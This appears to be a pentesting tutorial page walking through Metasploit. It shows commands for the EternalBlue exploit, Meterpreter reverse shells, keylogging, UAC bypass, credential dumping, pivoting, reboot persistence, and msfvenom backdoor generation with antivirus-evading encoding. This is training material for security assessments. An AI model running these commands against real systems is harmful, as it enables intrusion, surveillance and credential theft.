Home > Network Pentesting

Metasploit

Metasploit is a complete penetration testing framework used for exploitation, post-exploitation, pivoting, persistence, privilege escalation, and vulnerability testing. It contains exploits, payloads, scanners, auxiliary modules, and powerful post-exploitation tools. Mastering Metasploit gives pentesters a full offensive toolkit for controlled security assessments.

Understanding Metasploit’s Role

Metasploit helps pentesters:

  • Scan and enumerate services

  • Identify vulnerabilities

  • Launch exploits

  • Deliver payloads

  • Gain sessions on targets

  • Maintain persistence

  • Escalate privileges

  • Pivot into internal networks

  • Loot credentials and data

Metasploit is used from reconnaissance to full post-exploitation.

Starting Metasploit

Launch the Framework

msfconsole

Update Modules

msfupdate

Search for Modules

search smb
search ms17_010
search ftp

Search results include:

  • Exploits

  • Auxiliary modules

  • Post-exploitation modules

  • Payloads

  • Encoders

Module Structure

Metasploit modules are categorized as:

  • exploits

  • payloads

  • auxiliary

  • post

  • encoders

  • nops

Every module follows the same structure:

  • set parameters

  • exploit/run

Exploiting a Target

Step 1: Choose an Exploit

use exploit/windows/smb/ms17_010_eternalblue

Step 2: View Options

show options

Step 3: Set Required Fields

set RHOSTS 10.10.10.5
set LHOST 10.10.10.100

Step 4: Choose a Payload

set PAYLOAD windows/x64/meterpreter/reverse_https

Step 5: Run Exploit

exploit

When successful, a Meterpreter session opens.

Meterpreter Basics

Meterpreter is Metasploit’s advanced post-exploitation shell.

System Commands

sysinfo
getuid
getprivs

File System

ls
cd
download file.txt
upload payload.exe

Shell Access

shell

Screenshot

screenshot

Keylogging

keyscan_start
keyscan_dump
keyscan_stop

Meterpreter provides stealthy control over the host.

Privilege Escalation

Local Exploit Suggestion

run post/multi/recon/local_exploit_suggester

Invoke Priv Esc Exploit

use exploit/windows/local/bypassuac
set SESSION 1
exploit

Check Token Privileges

getprivs

Metasploit automates privilege escalation for many OS types.

Pivoting and Routing

Pivoting allows access to internal networks.

Add New Route

route add 10.10.20.0/24 1

Use SOCKS Proxy

use auxiliary/server/socks_proxy
set SRVPORT 1080
run

Scan Through Pivot

proxychains nmap -sT 10.10.20.5

This creates an internal pivot point.

Credential Harvesting

Hashdump

hashdump

Capture NTLM Hashes via SMB

use auxiliary/server/capture/smb
run

Dump Credentials from Memory

use post/windows/gather/credentials/credential_collector
set SESSION 1
run

Dump Domain Creds (If Admin)

use post/windows/gather/smart_hashdump

Metasploit extracts credentials across sessions and hosts.

Post-Exploitation

Enumerate Users

enum_logged_on_users

Enumerate Network Info

ipconfig
arp
netstat

Search for Files

search -f *.txt

Dump Browser Credentials

use post/windows/gather/credentials/enum_chrome

Metasploit collects internal host intelligence for deeper compromise.

Persistence

Add Startup Persistence

run persistence -X -i 30 -p 4444 -r <LHOST>

This reconnects Meterpreter every reboot.

Alternate Persistence Modules

use persistence/service

Persistence maintains long-term access after reboot or logout.

Auxiliary Modules

Auxiliary modules perform scanning, brute force, and enumeration.

Port Scanner

use auxiliary/scanner/portscan/tcp

SMB Enumeration

use auxiliary/scanner/smb/smb_version

FTP Login Brute Force

use auxiliary/scanner/ftp/ftp_login

Auxiliary modules expand reconnaissance from inside Metasploit.

Payload Mastery

Common payloads:

  • reverse_tcp

  • reverse_https

  • bind_tcp

  • meterpreter

  • python/meterpreter

  • java/meterpreter

Generate Payloads with msfvenom

msfvenom -p windows/meterpreter/reverse_https LHOST=<ip> LPORT=443 -f exe > backdoor.exe

Encode Payloads

-e x86/shikata_ga_nai -i 10

Encoding helps evade antivirus and IDS.

Exploit Chains

Chain multiple stages:

  1. Exploit

  2. Meterpreter

  3. Privilege Escalation

  4. Credential Dumping

  5. Pivoting

  6. Internal Scanning

  7. Persistence

Metasploit supports full kill-chain attack workflows.

Automation with Resource Scripts

Automate tasks:

Create .rc Script

use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.10.5
set LHOST 10.10.10.100
exploit

Run Script

msfconsole -r script.rc

Useful for repeated operations during large pentests.

Why Metasploit Mastery Matters

Metasploit is essential because it:

  • Streamlines exploitation

  • Provides advanced post-exploitation capabilities

  • Enables pivoting and internal scanning

  • Automates persistence and privilege escalation

  • Integrates scanning + exploitation

  • Supports custom payload creation

  • Works across Windows, Linux, macOS, and network devices

Metasploit transforms raw vulnerabilities into full network compromise pathways.

Intel Dump

  • Launch with msfconsole and update modules

  • Use exploits, auxiliary modules, payloads, encoders

  • Meterpreter supports deep host control

  • Perform privilege escalation with local exploit suggester

  • Pivot using route add and SOCKS proxy

  • Dump credentials with hashdump and credential collectors

  • Generate payloads with msfvenom and encode them

  • Automate tasks with resource scripts

  • Metasploit supports full exploitation and post-exploitation workflows

HOME LEARN COMMUNITY DASHBOARD